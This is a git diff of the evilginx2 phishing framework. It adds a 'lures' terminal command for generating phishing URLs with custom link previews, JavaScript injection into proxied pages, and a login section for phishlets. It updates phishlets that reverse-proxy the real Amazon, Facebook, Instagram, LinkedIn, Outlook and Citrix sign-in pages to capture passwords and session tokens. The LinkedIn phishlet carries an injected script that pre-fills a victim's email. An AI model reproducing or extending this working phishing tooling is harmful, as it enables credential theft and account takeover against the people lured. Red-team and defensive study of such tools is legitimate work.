- IsLanding bool `mapstructure:"is_landing"`
+ PhishSub *string `mapstructure:"phish_sub"`
+ OrigSub *string `mapstructure:"orig_sub"`
+ Domain *string `mapstructure:"domain"`
+ Session bool `mapstructure:"session"`
+ IsLanding bool `mapstructure:"is_landing"`
+ AutoFilter *bool `mapstructure:"auto_filter"`
}
type ConfigSubFilter struct {
@@ -137,6 +153,18 @@ type ConfigForcePost struct {
Type *string `mapstructure:"type"`
}
+type ConfigLogin struct {
+ Domain *string `mapstructure:"domain"`
+ Path *string `mapstructure:"path"`
+}
+
+type ConfigJsInject struct {
+ TriggerDomains *[]string `mapstructure:"trigger_domains"`
+ TriggerPaths *[]string `mapstructure:"trigger_paths"`
+ TriggerParams []string `mapstructure:"trigger_params"`
+ Script *string `mapstructure:"script"`
+}
+
type ConfigPhishlet struct {
Name string `mapstructure:"name"`
ProxyHosts *[]ConfigProxyHost `mapstructure:"proxy_hosts"`
@@ -146,6 +174,8 @@ type ConfigPhishlet struct {
Credentials *ConfigCredentials `mapstructure:"credentials"`
ForcePosts *[]ConfigForcePost `mapstructure:"force_post"`
LandingPath *[]string `mapstructure:"landing_path"`
+ LoginItem *ConfigLogin `mapstructure:"login"`
+ JsInject *[]ConfigJsInject `mapstructure:"js_inject"`
}
func NewPhishlet(site string, path string, cfg *Config) (*Phishlet, error) {
@@ -209,6 +239,12 @@ func (p *Phishlet) LoadFromFile(site string, path string) error {
"- change `min_ver` to at least `2.2.0`\n" +
"you can find the phishlet 2.2.0 file format documentation here: https://github.com/kgretzky/evilginx2/wiki/Phishlet-File-Format-(2.2.0)")
}
+ if !p.isVersionHigherEqual(&p.Version, "2.3.0") {
+ return fmt.Errorf("this phishlet is incompatible with current version of evilginx.\nplease do the following modifications to update it:\n\n" +
+ "- replace `landing_path` with `login` section\n" +
+ "- change `min_ver` to at least `2.3.0`\n" +
+ "you can find the phishlet 2.3.0 file format documentation here: https://github.com/kgretzky/evilginx2/wiki/Phishlet-File-Format-(2.3.0)")
+ }
fp := ConfigPhishlet{}
err = c.Unmarshal(&fp)
@@ -234,8 +270,8 @@ func (p *Phishlet) LoadFromFile(site string, path string) error {
if fp.Credentials.Password == nil {
return fmt.Errorf("credentials: missing `password` section")
}
- if fp.LandingPath == nil {
- return fmt.Errorf("missing `landing_path` section")
+ if fp.LoginItem == nil {
+ return fmt.Errorf("missing `login` section")
}
for _, ph := range *fp.ProxyHosts {
@@ -248,8 +284,36 @@ func (p *Phishlet) LoadFromFile(site string, path string) error {
if ph.Domain == nil {
return fmt.Errorf("proxy_hosts: missing `domain` field")
}
- p.addProxyHost(*ph.PhishSub, *ph.OrigSub, *ph.Domain, ph.Session, ph.IsLanding)
+ auto_filter := true
+ if ph.AutoFilter != nil {
+ auto_filter = *ph.AutoFilter
+ }
+ p.addProxyHost(*ph.PhishSub, *ph.OrigSub, *ph.Domain, ph.Session, ph.IsLanding, auto_filter)
}
+ if len(p.proxyHosts) == 0 {
+ return fmt.Errorf("proxy_hosts: list cannot be empty")
+ }
+ session_set := false
+ for _, ph := range p.proxyHosts {
+ if ph.handle_session {
+ session_set = true
+ break
+ }
+ }
+ if !session_set {
+ p.proxyHosts[0].handle_session = true
+ }
+ landing_set := false
+ for _, ph := range p.proxyHosts {
+ if ph.is_landing {
+ landing_set = true
+ break
+ }
+ }
+ if !landing_set {
+ p.proxyHosts[0].is_landing = true
+ }
+
for _, sf := range *fp.SubFilters {
if sf.Hostname == nil {
return fmt.Errorf("sub_filters: missing `triggers_on` field")
@@ -271,6 +335,23 @@ func (p *Phishlet) LoadFromFile(site string, path string) error {
}
p.addSubFilter(*sf.Hostname, *sf.Sub, *sf.Domain, *sf.Mimes, *sf.Search, *sf.Replace, sf.RedirectOnly)
}
+ if fp.JsInject != nil {
+ for _, js := range *fp.JsInject {
+ if js.TriggerDomains == nil {
+ return fmt.Errorf("js_inject: missing `trigger_domains` field")
+ }
+ if js.TriggerPaths == nil {
+ return fmt.Errorf("js_inject: missing `trigger_paths` field")
+ }
+ if js.Script == nil {
+ return fmt.Errorf("js_inject: missing `script` field")
+ }
+ err := p.addJsInject(*js.TriggerDomains, *js.TriggerPaths, js.TriggerParams, *js.Script)
+ if err != nil {
+ return err
+ }
+ }
+ }
for _, at := range *fp.AuthTokens {
err := p.addAuthTokens(at.Domain, at.Keys)
if err != nil {
@@ -329,6 +410,40 @@ func (p *Phishlet) LoadFromFile(site string, path string) error {
p.username.key_s = *fp.Credentials.Username.Key
p.password.key_s = *fp.Credentials.Password.Key
+ if fp.LoginItem.Domain == nil {
+ return fmt.Errorf("login: missing `domain` field")
+ }
+ if fp.LoginItem.Path == nil {
+ return fmt.Errorf("login: missing `path` field")
+ }
+ p.login.domain = *fp.LoginItem.Domain
+ if p.login.domain == "" {
+ return fmt.Errorf("login: `domain` field cannot be empty")
+ }
+ login_domain_ok := false
+ for _, h := range p.proxyHosts {
+ var check_host string
+ if h.orig_subdomain != "" {
+ check_host = h.orig_subdomain + "."
+ }
+ check_host += h.domain
+ if check_host == p.login.domain {
+ login_domain_ok = true
+ break
+ }
+ }
+ if !login_domain_ok {
+ return fmt.Errorf("login: `domain` must contain a value of one of the hostnames (`orig_subdomain` + `domain`) defined in `proxy_hosts` section")
+ }
+
+ p.login.path = *fp.LoginItem.Path
+ if p.login.path == "" {
+ p.login.path = "/"
+ }
+ if p.login.path[0] != '/' {
+ p.login.path = "/" + p.login.path
+ }
+
if fp.Credentials.Custom != nil {
for _, cp := range *fp.Credentials.Custom {
var err error
@@ -415,8 +530,9 @@ func (p *Phishlet) LoadFromFile(site string, path string) error {
}
}
- p.landing_path = *fp.LandingPath
-
+ if fp.LandingPath != nil {
+ p.landing_path = *fp.LandingPath
+ }
return nil
}
@@ -431,7 +547,7 @@ func (p *Phishlet) GetPhishHosts() []string {
return ret
}
-func (p *Phishlet) GetLandingUrls(redirect_url string) ([]string, error) {
+func (p *Phishlet) GetLandingUrls(redirect_url string, inc_token bool) ([]string, error) {
var ret []string
host := p.cfg.GetBaseDomain()
for _, h := range p.proxyHosts {
@@ -452,25 +568,95 @@ func (p *Phishlet) GetLandingUrls(redirect_url string) ([]string, error) {
}
for _, u := range p.landing_path {
- sep := "?"
- for n := len(u) - 1; n >= 0; n-- {
- switch u[n] {
- case '/':
- break
- case '?':
- sep = "&"
- break
+ purl := "https://" + host + u
+ if inc_token {
+ sep := "?"
+ for n := len(u) - 1; n >= 0; n-- {
+ switch u[n] {
+ case '/':
+ break
+ case '?':
+ sep = "&"
+ break
+ }
+ }
+ purl += sep + p.cfg.verificationParam + "=" + p.cfg.verificationToken
+ if b64_param != "" {
+ purl += "&" + p.cfg.redirectParam + "=" + url.QueryEscape(b64_param)
}
- }
- purl := "https://" + host + u + sep + p.cfg.verificationParam + "=" + p.cfg.verificationToken
- if b64_param != "" {
- purl += "&" + p.cfg.redirectParam + "=" + url.QueryEscape(b64_param)
}
ret = append(ret, purl)
}
return ret, nil
}
+func (p *Phishlet) GetLureUrl(path string) (string, error) {
+ var ret string
+ host := p.cfg.GetBaseDomain()
+ for _, h := range p.proxyHosts {
+ if h.is_landing {
+ phishDomain, ok := p.cfg.GetSiteDomain(p.Site)
+ if ok {
+ host = combineHost(h.phish_subdomain, phishDomain)
+ }
+ }
+ }
+ ret = "https://" + host + path
+ return ret, nil
+}
+
+func (p *Phishlet) GetLoginUrl() string {
+ return "https://" + p.login.domain + p.login.path
+}
+
+func (p *Phishlet) GetScriptInject(hostname string, path string, params *map[string]string) (string, error) {
+ for _, js := range p.js_inject {
+ host_matched := false
+ for _, h := range js.trigger_domains {
+ if h == strings.ToLower(hostname) {
+ host_matched = true
+ break
+ }
+ }
+ if host_matched {
+ path_matched := false
+ for _, p_re := range js.trigger_paths {
+ if p_re.MatchString(path) {
+ path_matched = true
+ break
+ }
+ }
+ if path_matched {
+ params_matched := false
+ if params != nil {
+ pcnt := 0
+ for k, _ := range *params {
+ if stringExists(k, js.trigger_params) {
+ pcnt += 1
+ }
+ }
+ if pcnt == len(js.trigger_params) {
+ params_matched = true
+ }
+ } else {
+ params_matched = true
+ }
+
+ if params_matched {
+ script := js.script
+ if params != nil {
+ for k, v := range *params {
+ script = strings.Replace(script, "{"+k+"}", v, -1)
+ }
+ }
+ return script, nil
+ }
+ }
+ }
+ }
+ return "", fmt.Errorf("script not found")
+}
+
func (p *Phishlet) GenerateTokenSet(tokens map[string]string) map[string]map[string]string {
ret := make(map[string]map[string]string)
td := make(map[string]string)
@@ -489,7 +675,7 @@ func (p *Phishlet) GenerateTokenSet(tokens map[string]string) map[string]map[str
return ret
}
-func (p *Phishlet) addProxyHost(phish_subdomain string, orig_subdomain string, domain string, handle_session bool, is_landing bool) {
+func (p *Phishlet) addProxyHost(phish_subdomain string, orig_subdomain string, domain string, handle_session bool, is_landing bool, auto_filter bool) {
phish_subdomain = strings.ToLower(phish_subdomain)
orig_subdomain = strings.ToLower(orig_subdomain)
domain = strings.ToLower(domain)
@@ -497,7 +683,7 @@ func (p *Phishlet) addProxyHost(phish_subdomain string, orig_subdomain string, d
p.domains = append(p.domains, domain)
}
- p.proxyHosts = append(p.proxyHosts, ProxyHost{phish_subdomain: phish_subdomain, orig_subdomain: orig_subdomain, domain: domain, handle_session: handle_session, is_landing: is_landing})
+ p.proxyHosts = append(p.proxyHosts, ProxyHost{phish_subdomain: phish_subdomain, orig_subdomain: orig_subdomain, domain: domain, handle_session: handle_session, is_landing: is_landing, auto_filter: auto_filter})
}
func (p *Phishlet) addSubFilter(hostname string, subdomain string, domain string, mime []string, regexp string, replace string, redirect_only bool) {
@@ -540,6 +726,28 @@ func (p *Phishlet) addAuthTokens(hostname string, tokens []string) error {
return nil
}
+func (p *Phishlet) addJsInject(trigger_domains []string, trigger_paths []string, trigger_params []string, script string) error {
+ js := JsInject{}
+ for _, d := range trigger_domains {
+ js.trigger_domains = append(js.trigger_domains, strings.ToLower(d))
+ }
+ for _, d := range trigger_paths {
+ re, err := regexp.Compile(d)
+ if err == nil {
+ js.trigger_paths = append(js.trigger_paths, re)
+ } else {
+ return fmt.Errorf("js_inject: %v", err)
+ }
+ }
+ for _, d := range trigger_params {
+ js.trigger_params = append(js.trigger_params, strings.ToLower(d))
+ }
+ js.script = script
+
+ p.js_inject = append(p.js_inject, js)
+ return nil
+}
+
func (p *Phishlet) domainExists(domain string) bool {
for _, d := range p.domains {
if domain == d {
diff --git a/core/session.go b/core/session.go
index db3d36aee..9252dfb3e 100644
--- a/core/session.go
+++ b/core/session.go
@@ -5,27 +5,31 @@ import (
)
type Session struct {
- Id string
- Name string
- Username string
- Password string
- Custom map[string]string
- Tokens map[string]map[string]*database.Token
- RedirectURL string
- IsDone bool
- IsAuthUrl bool
+ Id string
+ Name string
+ Username string
+ Password string
+ Custom map[string]string
+ Tokens map[string]map[string]*database.Token
+ RedirectURL string
+ IsDone bool
+ IsAuthUrl bool
+ RedirectCount int
+ PhishLure *Lure
}
func NewSession(name string) (*Session, error) {
s := &Session{
- Id: GenRandomToken(),
- Name: name,
- Username: "",
- Password: "",
- Custom: make(map[string]string),
- RedirectURL: "",
- IsDone: false,
- IsAuthUrl: false,
+ Id: GenRandomToken(),
+ Name: name,
+ Username: "",
+ Password: "",
+ Custom: make(map[string]string),
+ RedirectURL: "",
+ IsDone: false,
+ IsAuthUrl: false,
+ RedirectCount: 0,
+ PhishLure: nil,
}
s.Tokens = make(map[string]map[string]*database.Token)
diff --git a/core/shared.go b/core/shared.go
index 6d51d9ef1..e5eb490a0 100644
--- a/core/shared.go
+++ b/core/shared.go
@@ -16,6 +16,15 @@ func stringExists(s string, sa []string) bool {
return false
}
+func intExists(i int, ia []int) bool {
+ for _, k := range ia {
+ if i == k {
+ return true
+ }
+ }
+ return false
+}
+
func removeString(s string, sa []string) []string {
for i, k := range sa {
if s == k {
diff --git a/core/terminal.go b/core/terminal.go
index 1256e199d..8e711a577 100644
--- a/core/terminal.go
+++ b/core/terminal.go
@@ -131,6 +131,12 @@ func (t *Terminal) DoWork() {
if err != nil {
log.Error("phishlets: %v", err)
}
+ case "lures":
+ cmd_ok = true
+ err := t.handleLures(args[1:])
+ if err != nil {
+ log.Error("lures: %v", err)
+ }
case "help":
cmd_ok = true
if len(args) == 2 {
@@ -429,7 +435,7 @@ func (t *Terminal) handlePhishlets(args []string) error {
if !ok || len(bhost) == 0 {
return fmt.Errorf("no hostname set for phishlet '%s'", pl.Name)
}
- urls, err := pl.GetLandingUrls(args[2])
+ urls, err := pl.GetLandingUrls(args[2], true)
if err != nil {
return err
}
@@ -443,6 +449,7 @@ func (t *Terminal) handlePhishlets(args []string) error {
out += hblue.Sprint(u)
n += 1
}
+ log.Warning("`get-url` is deprecated - please use `lures` with custom `path` instead")
t.output("%s\n", out)
return nil
}
@@ -450,6 +457,268 @@ func (t *Terminal) handlePhishlets(args []string) error {
return fmt.Errorf("invalid syntax: %s", args)
}
+func (t *Terminal) handleLures(args []string) error {
+ hiblue := color.New(color.FgHiBlue)
+ yellow := color.New(color.FgYellow)
+ //hiwhite := color.New(color.FgHiWhite)
+ hcyan := color.New(color.FgHiCyan)
+ cyan := color.New(color.FgCyan)
+ dgray := color.New(color.FgHiBlack)
+
+ pn := len(args)
+
+ if pn == 0 {
+ // list lures
+ t.output("%s", t.sprintLures())
+ return nil
+ }
+ if pn > 0 {
+ switch args[0] {
+ case "create":
+ if pn == 2 {
+ _, err := t.cfg.GetPhishlet(args[1])
+ if err != nil {
+ return err
+ }
+ l := &Lure{
+ Path: "/" + GenRandomString(8),
+ Phishlet: args[1],
+ Params: make(map[string]string),
+ }
+ t.cfg.AddLure(args[1], l)
+ log.Info("created lure with ID: %d", len(t.cfg.lures)-1)
+ return nil
+ }
+ return fmt.Errorf("incorrect number of arguments")
+ case "get-url":
+ if pn == 2 {
+ l_id, err := strconv.Atoi(strings.TrimSpace(args[1]))
+ if err != nil {
+ return fmt.Errorf("get-url: %v", err)
+ }
+ l, err := t.cfg.GetLure(l_id)
+ if err != nil {
+ return fmt.Errorf("get-url: %v", err)
+ }
+ pl, err := t.cfg.GetPhishlet(l.Phishlet)
+ if err != nil {
+ return fmt.Errorf("get-url: %v", err)
+ }
+ bhost, ok := t.cfg.GetSiteDomain(pl.Site)
+ if !ok || len(bhost) == 0 {
+ return fmt.Errorf("no hostname set for phishlet '%s'", pl.Name)
+ }
+ purl, err := pl.GetLureUrl(l.Path)
+ if err != nil {
+ return err
+ }
+ out := hiblue.Sprint(purl)
+ t.output("%s\n", out)
+ return nil
+ }
+ return fmt.Errorf("incorrect number of arguments")
+ case "edit":
+ if pn == 4 {
+ l_id, err := strconv.Atoi(strings.TrimSpace(args[2]))
+ if err != nil {
+ return fmt.Errorf("edit: %v", err)
+ }
+ l, err := t.cfg.GetLure(l_id)
+ if err != nil {
+ return fmt.Errorf("edit: %v", err)
+ }
+ val := args[3]
+ do_update := false
+
+ switch args[1] {
+ case "path":
+ if val != "" {
+ u, err := url.Parse(val)
+ if err != nil {
+ return fmt.Errorf("edit: %v", err)
+ }
+ l.Path = u.EscapedPath()
+ if len(l.Path) == 0 || l.Path[0] != '/' {
+ l.Path = "/" + l.Path
+ }
+ } else {
+ l.Path = "/"
+ }
+ do_update = true
+ log.Info("path = '%s'", l.Path)
+ case "redirect_url":
+ if val != "" {
+ u, err := url.Parse(val)
+ if err != nil {
+ return fmt.Errorf("edit: %v", err)
+ }
+ if !u.IsAbs() {
+ return fmt.Errorf("edit: redirect url must be absolute")
+ }
+ l.RedirectUrl = u.String()
+ } else {
+ l.RedirectUrl = ""
+ }
+ do_update = true
+ log.Info("redirect_url = '%s'", l.RedirectUrl)
+ case "phishlet":
+ _, err := t.cfg.GetPhishlet(val)
+ if err != nil {
+ return fmt.Errorf("edit: %v", err)
+ }
+ l.Phishlet = val
+ do_update = true
+ log.Info("phishlet = '%s'", l.Phishlet)
+ case "info":
+ l.Info = val
+ do_update = true
+ log.Info("info = '%s'", l.Info)
+ case "og_title":
+ l.OgTitle = val
+ do_update = true
+ log.Info("og_title = '%s'", l.OgTitle)
+ case "og_desc":
+ l.OgDescription = val
+ do_update = true
+ log.Info("og_desc = '%s'", l.OgDescription)
+ case "og_image":
+ if val != "" {
+ u, err := url.Parse(val)
+ if err != nil {
+ return fmt.Errorf("edit: %v", err)
+ }
+ if !u.IsAbs() {
+ return fmt.Errorf("edit: image url must be absolute")
+ }
+ l.OgImageUrl = u.String()
+ } else {
+ l.OgImageUrl = ""
+ }
+ do_update = true
+ log.Info("og_image = '%s'", l.OgImageUrl)
+ case "og_url":
+ if val != "" {
+ u, err := url.Parse(val)
+ if err != nil {
+ return fmt.Errorf("edit: %v", err)
+ }
+ if !u.IsAbs() {
+ return fmt.Errorf("edit: site url must be absolute")
+ }
+ l.OgUrl = u.String()
+ } else {
+ l.OgUrl = ""
+ }
+ do_update = true
+ log.Info("og_url = '%s'", l.OgUrl)
+ case "params":
+ sp := strings.Index(val, "=")
+ if sp == -1 {
+ return fmt.Errorf("edit: to set a custom parameter, use format 'key=value' or 'key=' if you want to remove a custom parameter")
+ }
+ k := val[:sp]
+ v := val[sp+1:]
+ if v != "" {
+ l.Params[k] = v
+ log.Info("params: '%s' = '%s'", k, v)
+ } else {
+ delete(l.Params, k)
+ log.Info("params: deleted '%s'", k)
+ }
+ do_update = true
+ }
+ if do_update {
+ err := t.cfg.SetLure(l_id, l)
+ if err != nil {
+ return fmt.Errorf("edit: %v", err)
+ }
+ return nil
+ }
+ } else {
+ return fmt.Errorf("incorrect number of arguments")
+ }
+ case "delete":
+ if pn == 2 {
+ if len(t.cfg.lures) == 0 {
+ break
+ }
+ if args[1] == "all" {
+ di := []int{}
+ for n, _ := range t.cfg.lures {
+ di = append(di, n)
+ }
+ if len(di) > 0 {
+ rdi := t.cfg.DeleteLures(di)
+ for _, id := range rdi {
+ log.Info("deleted lure with ID: %d", id)
+ }
+ }
+ return nil
+ } else {
+ rc := strings.Split(args[1], ",")
+ di := []int{}
+ for _, pc := range rc {
+ pc = strings.TrimSpace(pc)
+ rd := strings.Split(pc, "-")
+ if len(rd) == 2 {
+ b_id, err := strconv.Atoi(strings.TrimSpace(rd[0]))
+ if err != nil {
+ return fmt.Errorf("delete: %v", err)
+ }
+ e_id, err := strconv.Atoi(strings.TrimSpace(rd[1]))
+ if err != nil {
+ return fmt.Errorf("delete: %v", err)
+ }
+ for i := b_id; i <= e_id; i++ {
+ di = append(di, i)
+ }
+ } else if len(rd) == 1 {
+ b_id, err := strconv.Atoi(strings.TrimSpace(rd[0]))
+ if err != nil {
+ return fmt.Errorf("delete: %v", err)
+ }
+ di = append(di, b_id)
+ }
+ }
+ if len(di) > 0 {
+ rdi := t.cfg.DeleteLures(di)
+ for _, id := range rdi {
+ log.Info("deleted lure with ID: %d", id)
+ }
+ }
+ return nil
+ }
+ }
+ return fmt.Errorf("incorrect number of arguments")
+ default:
+ id, err := strconv.Atoi(args[0])
+ if err != nil {
+ return err
+ }
+ l, err := t.cfg.GetLure(id)
+ if err != nil {
+ return err
+ }
+
+ keys := []string{"phishlet", "path", "redirect_url", "info", "og_title", "og_desc", "og_image", "og_url"}
+ vals := []string{hiblue.Sprint(l.Phishlet), hcyan.Sprint(l.Path), yellow.Sprint(l.RedirectUrl), l.Info, dgray.Sprint(l.OgTitle), dgray.Sprint(l.OgDescription), dgray.Sprint(l.OgImageUrl), dgray.Sprint(l.OgUrl)}
+ log.Printf("\n%s\n", AsRows(keys, vals))
+
+ if len(l.Params) > 0 {
+ var ckeys []string = []string{"key", "value"}
+ var cvals [][]string
+ for k, v := range l.Params {
+ cvals = append(cvals, []string{dgray.Sprint(k), cyan.Sprint(v)})
+ }
+ log.Printf("custom parameters:\n%s\n", AsTable(ckeys, cvals))
+ }
+ return nil
+ }
+ }
+
+ return fmt.Errorf("invalid syntax: %s", args)
+}
+
func (t *Terminal) createHelp() {
h, _ := NewHelp()
h.AddCommand("config", "general", "manage general configuration", "Shows values of all configuration variables and allows to change them.", LAYER_TOP,
@@ -482,6 +751,25 @@ func (t *Terminal) createHelp() {
h.AddSubCommand("sessions", []string{"delete"}, "delete ", "delete logged session with (ranges with separators are allowed e.g. 1-7,10-12,15-25)")
h.AddSubCommand("sessions", []string{"delete", "all"}, "delete all", "delete all logged sessions")
+ h.AddCommand("lures", "general", "manage lures for generation of phishing urls", "Shows all create lures and allows to edit or delete them.", LAYER_TOP,
+ readline.PcItem("lures", readline.PcItem("create", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("get-url"),
+ readline.PcItem("edit", readline.PcItem("path"), readline.PcItem("redirect_url"), readline.PcItem("phishlet"), readline.PcItem("info"), readline.PcItem("og_title"), readline.PcItem("og_desc"), readline.PcItem("og_image"), readline.PcItem("og_url"), readline.PcItem("params")),
+ readline.PcItem("delete", readline.PcItem("all"))))
+ h.AddSubCommand("lures", nil, "", "show all create lures")
+ h.AddSubCommand("lures", nil, "", "show details of a lure with a given ")
+ h.AddSubCommand("lures", []string{"create"}, "create ", "creates new lure for given ")
+ h.AddSubCommand("lures", []string{"delete"}, "delete ", "deletes lure with given ")
+ h.AddSubCommand("lures", []string{"delete", "all"}, "delete all", "deletes all created lures")
+ h.AddSubCommand("lures", []string{"edit", "path"}, "edit path ", "sets custom url for a lure with a given ")
+ h.AddSubCommand("lures", []string{"edit", "redirect_url"}, "edit redirect_url ", "sets redirect url that user will be navigated to on successful authorization, for a lure with a given ")
+ h.AddSubCommand("lures", []string{"edit", "phishlet"}, "edit phishlet ", "change the phishlet, the lure with a given applies to")
+ h.AddSubCommand("lures", []string{"edit", "info"}, "edit info ", "set personal information to describe a lure with a given (display only)")
+ h.AddSubCommand("lures", []string{"edit", "og_title"}, "edit og_title ", "sets opengraph title that will be shown in link preview, for a lure with a given ")
+ h.AddSubCommand("lures", []string{"edit", "og_desc"}, "edit og_desc ", "sets opengraph description that will be shown in link preview, for a lure with a given ")
+ h.AddSubCommand("lures", []string{"edit", "og_image"}, "edit og_image ", "sets opengraph image url that will be shown in link preview, for a lure with a given ")
+ h.AddSubCommand("lures", []string{"edit", "og_url"}, "edit og_url ", "sets opengraph url that will be shown in link preview, for a lure with a given ")
+ h.AddSubCommand("lures", []string{"edit", "params"}, "edit params ", "adds, edits or removes custom parameters (used in javascript injections), for a lure with a given ")
+
h.AddCommand("clear", "general", "clears the screen", "Clears the screen.", LAYER_TOP,
readline.PcItem("clear"))
@@ -590,6 +878,47 @@ func (t *Terminal) sprintPhishletStatus(site string) string {
return AsTable(cols, rows)
}
+func (t *Terminal) sprintLures() string {
+ higreen := color.New(color.FgHiGreen)
+ //hired := color.New(color.FgHiRed)
+ hiblue := color.New(color.FgHiBlue)
+ yellow := color.New(color.FgYellow)
+ hiwhite := color.New(color.FgHiWhite)
+ hcyan := color.New(color.FgHiCyan)
+ //n := 0
+ cols := []string{"id", "phishlet", "path", "redirect_url", "og", "params", "info"}
+ var rows [][]string
+ for n, l := range t.cfg.lures {
+ var og string
+ if l.OgTitle != "" {
+ og += higreen.Sprint("x")
+ } else {
+ og += "-"
+ }
+ if l.OgDescription != "" {
+ og += higreen.Sprint("x")
+ } else {
+ og += "-"
+ }
+ if l.OgImageUrl != "" {
+ og += higreen.Sprint("x")
+ } else {
+ og += "-"
+ }
+ if l.OgUrl != "" {
+ og += higreen.Sprint("x")
+ } else {
+ og += "-"
+ }
+ params := "0"
+ if len(l.Params) > 0 {
+ params = hiwhite.Sprint(strconv.Itoa(len(l.Params)))
+ }
+ rows = append(rows, []string{strconv.Itoa(n), hiblue.Sprint(l.Phishlet), hcyan.Sprint(l.Path), yellow.Sprint(l.RedirectUrl), og, params, l.Info})
+ }
+ return AsTable(cols, rows)
+}
+
func (t *Terminal) phishletPrefixCompleter(args string) []string {
return t.cfg.GetPhishletNames()
}
diff --git a/phishlets/amazon.yaml b/phishlets/amazon.yaml
index 91ba9d109..c41dd8ac5 100644
--- a/phishlets/amazon.yaml
+++ b/phishlets/amazon.yaml
@@ -1,5 +1,5 @@
author: '@customsync'
-min_ver: '2.2.0'
+min_ver: '2.3.0'
proxy_hosts:
- {phish_sub: 'www', orig_sub: 'www', domain: 'amazon.com', session: true, is_landing: true}
- {phish_sub: 'fls-na', orig_sub: 'fls-na', domain: 'amazon.com', session: false, is_landing: false}
@@ -23,5 +23,6 @@ credentials:
key: 'password'
search: '(.*)'
type: 'post'
-landing_path:
- - '/ap/signin?_encoding=UTF8&ignoreAuthState=1&openid.assoc_handle=usflex&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.mode=checkid_setup&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0'
+login:
+ domain: 'www.amazon.com'
+ path: '/ap/signin?_encoding=UTF8&ignoreAuthState=1&openid.assoc_handle=usflex&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.mode=checkid_setup&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0'
diff --git a/phishlets/citrix.yaml b/phishlets/citrix.yaml
index 362466ca7..c730f7915 100644
--- a/phishlets/citrix.yaml
+++ b/phishlets/citrix.yaml
@@ -1,6 +1,6 @@
name: 'Citrix Portal'
author: '@424f424f'
-min_ver: '2.2.0'
+min_ver: '2.3.0'
proxy_hosts:
- {phish_sub: 'subdomainhere', orig_sub: 'subdomainhere', domain: 'domainhere', session: true, is_landing: true}
sub_filters:
@@ -17,5 +17,6 @@ credentials:
key: 'passwd'
search: '(.*)'
type: 'post'
-landing_path:
- - '/vpn/index.html'
+login:
+ domain: 'subdomainhere.domainhere'
+ path: '/vpn/index.html'
diff --git a/phishlets/facebook.yaml b/phishlets/facebook.yaml
index cc2deeb19..baed480e5 100644
--- a/phishlets/facebook.yaml
+++ b/phishlets/facebook.yaml
@@ -1,5 +1,5 @@
author: '@mrgretzky'
-min_ver: '2.2.0'
+min_ver: '2.3.0'
proxy_hosts:
- {phish_sub: 'www', orig_sub: 'www', domain: 'facebook.com', session: true, is_landing: true}
- {phish_sub: 'm', orig_sub: 'm', domain: 'facebook.com', session: true, is_landing: false}
@@ -25,5 +25,6 @@ credentials:
key: 'pass'
search: '(.*)'
type: 'post'
-landing_path:
- - '/login.php'
+login:
+ domain: 'www.facebook.com'
+ path: '/login.php'
diff --git a/phishlets/instagram.yaml b/phishlets/instagram.yaml
index adf5c5f89..689f4566c 100644
--- a/phishlets/instagram.yaml
+++ b/phishlets/instagram.yaml
@@ -1,5 +1,5 @@
author: '@prrrrinncee'
-min_ver: '2.2.0'
+min_ver: '2.3.0'
proxy_hosts:
- {phish_sub: 'www', orig_sub: 'www', domain: 'instagram.com', session: true, is_landing: true}
- {phish_sub: 'm', orig_sub: 'm', domain: 'instagram.com', session: true, is_landing: false}
@@ -19,5 +19,6 @@ credentials:
key: 'pass'
search: '(.*)'
type: 'post'
-landing_path:
- - '/accounts/login'
+login:
+ domain: 'www.instagram.com'
+ path: '/accounts/login'
diff --git a/phishlets/linkedin.yaml b/phishlets/linkedin.yaml
index 85526f713..ce7ac7eb0 100644
--- a/phishlets/linkedin.yaml
+++ b/phishlets/linkedin.yaml
@@ -1,11 +1,8 @@
author: '@mrgretzky'
-min_ver: '2.2.0'
+min_ver: '2.3.0'
proxy_hosts:
- {phish_sub: 'www', orig_sub: 'www', domain: 'linkedin.com', session: true, is_landing: true}
-sub_filters:
- - {triggers_on: 'www.linkedin.com', orig_sub: 'www', domain: 'linkedin.com', search: 'action="https://{hostname}', replace: 'action="https://{hostname}', mimes: ['text/html', 'application/json']}
- - {triggers_on: 'www.linkedin.com', orig_sub: 'www', domain: 'linkedin.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json']}
- - {triggers_on: 'www.linkedin.com', orig_sub: 'www', domain: 'linkedin.com', search: '//{hostname}/nhome/', replace: '//{hostname}/nhome/', mimes: ['text/html', 'application/json']}
+sub_filters: []
auth_tokens:
- domain: '.www.linkedin.com'
keys: ['li_at']
@@ -18,5 +15,22 @@ credentials:
key: 'session_password'
search: '(.*)'
type: 'post'
-landing_path:
- - '/uas/login'
+login:
+ domain: 'www.linkedin.com'
+ path: '/uas/login'
+js_inject:
+ - trigger_domains: ["www.linkedin.com"]
+ trigger_paths: ["/uas/login"]
+ trigger_params: ["email"]
+ script: |
+ function lp(){
+ var email = document.querySelector("#username");
+ var password = document.querySelector("#password");
+ if (email != null && password != null) {
+ email.value = "{email}";
+ password.focus();
+ return;
+ }
+ setTimeout(function(){lp();}, 100);
+ }
+ setTimeout(function(){lp();}, 100);
diff --git a/phishlets/outlook.yaml b/phishlets/outlook.yaml
index 0e092adce..2bacb3c38 100644
--- a/phishlets/outlook.yaml
+++ b/phishlets/outlook.yaml
@@ -1,5 +1,5 @@
author: '@mrgretzky'
-min_ver: '2.2.0'
+min_ver: '2.3.0'
proxy_hosts:
- {phish_sub: 'outlook', orig_sub: 'outlook', domain: 'live.com', session: true, is_landing: true}
- {phish_sub: 'login', orig_sub: 'login', domain: 'live.com', session: true, is_landing: false}
@@ -26,5 +26,6 @@ credentials:
key: 'passwd'
search: '(.*)'
type: 'post'
-landing_path:
- - '/owa/?nlp=1'
+login:
+ domain: 'outlook.live.com'
+ path: '/owa/?nlp=1'
diff --git a/phishlets/reddit.yaml b/phishlets/reddit.yaml
index ff3196665..af687557a 100644
--- a/phishlets/reddit.yaml
+++ b/phishlets/reddit.yaml
@@ -1,5 +1,5 @@
author: '@customsync'
